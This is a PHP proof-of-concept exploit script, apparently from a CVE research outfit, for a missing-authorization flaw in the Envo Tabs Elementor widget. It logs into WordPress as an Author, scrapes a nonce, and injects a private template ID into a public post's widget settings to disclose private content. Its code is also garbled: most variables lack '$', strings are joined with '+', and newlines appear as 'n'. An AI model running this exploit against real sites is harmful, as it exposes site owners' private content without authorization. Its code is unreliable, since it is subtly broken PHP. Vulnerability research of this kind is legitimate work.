<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11600 - Missing Authorization to Authenticated (Author+) Private Content Disclosure via Envo Tabs Widget 'templates' Setting
/**
* This PoC demonstrates how an authenticated attacker with Author-level access can
* exploit the missing authorization check in the Envo Tabs widget to disclose private
* Elementor template content to anonymous visitors.
*
* Steps:
* 1. Authenticate as an Author-level user (or higher)
* 2. Get a valid Elementor nonce from the WordPress admin
* 3. Use the Elementor editor REST API to update the 'templates' parameter of an Envo Tabs widget
* on a public post to reference a private template ID
* 4. Access the public post to view the private content
*
* Prerequisites:
* - WordPress site with Envo's Templates & Widgets for Elementor and WooCommerce <= 1.4.26
* - An existing public post containing an Envo Tabs widget (for demonstration)
* - The ID of a private Elementor template to disclose
* - An Author-level account (username/password or application password)
*/
// Configuration - update these values
target_url = 'https://example.com';
username = 'author_user';
password = 'author_password'; // Or use application password
private_template_id = 42; // ID of a private/draft Elementor template
public_post_id = 10; // ID of a public post with Envo Tabs widget
// Step 1: Authenticate and get cookies and nonce
function get_nonce_and_cookies(url, user, pass) {
// Send login request
login_url = url + '/wp-login.php';
ch = curl_init(login_url);
curl_setopt(ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt(ch, CURLOPT_POST, true);
curl_setopt(ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => user,
'pwd' => pass,
'wp-submit' => 'Log In',
'redirect_to' => url + '/wp-admin/',
'testcookie' => 1
]));
curl_setopt(ch, CURLOPT_HEADER, true);
curl_setopt(ch, CURLOPT_COOKIESESSION, true);
curl_setopt(ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt(ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt(ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec(ch);
curl_close(ch);
// Extract nonce from admin page
ch = curl_init(url + '/wp-admin/admin-ajax.php');
curl_setopt(ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt(ch, CURLOPT_POST, true);
curl_setopt(ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'elementor_ajax',
'nonce' => ''
]));
curl_setopt(ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt(ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec(ch);
curl_close(ch);
// Alternatively, fetch admin page to get nonce for Elementor
admin_url = url + '/wp-admin/post.php?post=' + public_post_id + '&action=elementor';
ch = curl_init(admin_url);
curl_setopt(ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt(ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt(ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt(ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec(ch);
curl_close(ch);
// Parse nonce from HTML (Elementor nonce pattern: _wpnonce=...)
preg_match('/_wpnonce=([a-f0-9]+)/', response, matches);
if (isset(matches[1])) {
return matches[1];
}
// Fallback: try to get from JSON response
preg_match('/"nonce":"([a-f0-9]+)"/', response, matches);
if (isset(matches[1])) {
return matches[1];
}
die("[-] Failed to retrieve Elementor nonce. Check authentication or manual steps.n");
}
nonce = get_nonce_and_cookies(target_url, username, password);
echo "[+] Retrieved Elementor nonce: " + nonce + "n";
// Step 2: Build the malicious widget configuration
// The Envo Tabs widget stores its template IDs in a 'templates' key within each tab item.
// We'll inject the private template ID into the widget's JSON structure.
malicious_data = [
'template' => [
'content' => [
[
'elements' => [
[
'widgetType' => 'envo-tabs',
'settings' => [
'tabs' => [
[
'tab_id' => 'tab1',
'tab_title' => 'Exploit Tab',
'source' => 'template',
'templates' => (string) private_template_id
]
]
]
]
]
]
]
]
];
// Step 3: Send the request to update the post's Elementor data
// Endpoint: /wp-json/elementor/v1/globals (or via admin-ajax.php)
rest_url = target_url + '/wp-json/elementor/v1/globals';
ch = curl_init(rest_url);
curl_setopt(ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt(ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt(ch, CURLOPT_POSTFIELDS, json_encode([
'post_id' => public_post_id,
'data' => malicious_data
]));
curl_setopt(ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'X-WP-Nonce: ' + nonce
]);
curl_setopt(ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt(ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec(ch);
http_code = curl_getinfo(ch, CURLINFO_HTTP_CODE);
curl_close(ch);
echo "[+] REST API response code: " + http_code + "n";
echo "[+] Response: " + response + "n";
// Step 4: Verify exploitation by fetching the public post
post_url = target_url + '/?p=' + public_post_id;
ch = curl_init(post_url);
curl_setopt(ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt(ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec(ch);
curl_close(ch);
// Check if the private template content appears in the response
if (strpos(response, 'elementor-widget-envo-tabs') !== false) {
echo "[!] Vulnerability likely present: Envo Tabs widget rendered.n";
// Look for unique content from the private template to confirm disclosure
// (Replace 'UNIQUE_MARKER' with actual content from the private template)
if (strpos(response, 'UNIQUE_MARKER') !== false) {
echo "[+] Confirmed disclosure of private template content!n";
} else {
echo "[!] Widget rendered, but could not confirm specific private content.n";
echo " Check the response manually for template content.n";
}
} else {
echo "[-] Widget not found in response. Exploit may have failed (check post ID, widget presence).n";
}
// Cleanup
unlink('/tmp/cookies.txt');
?>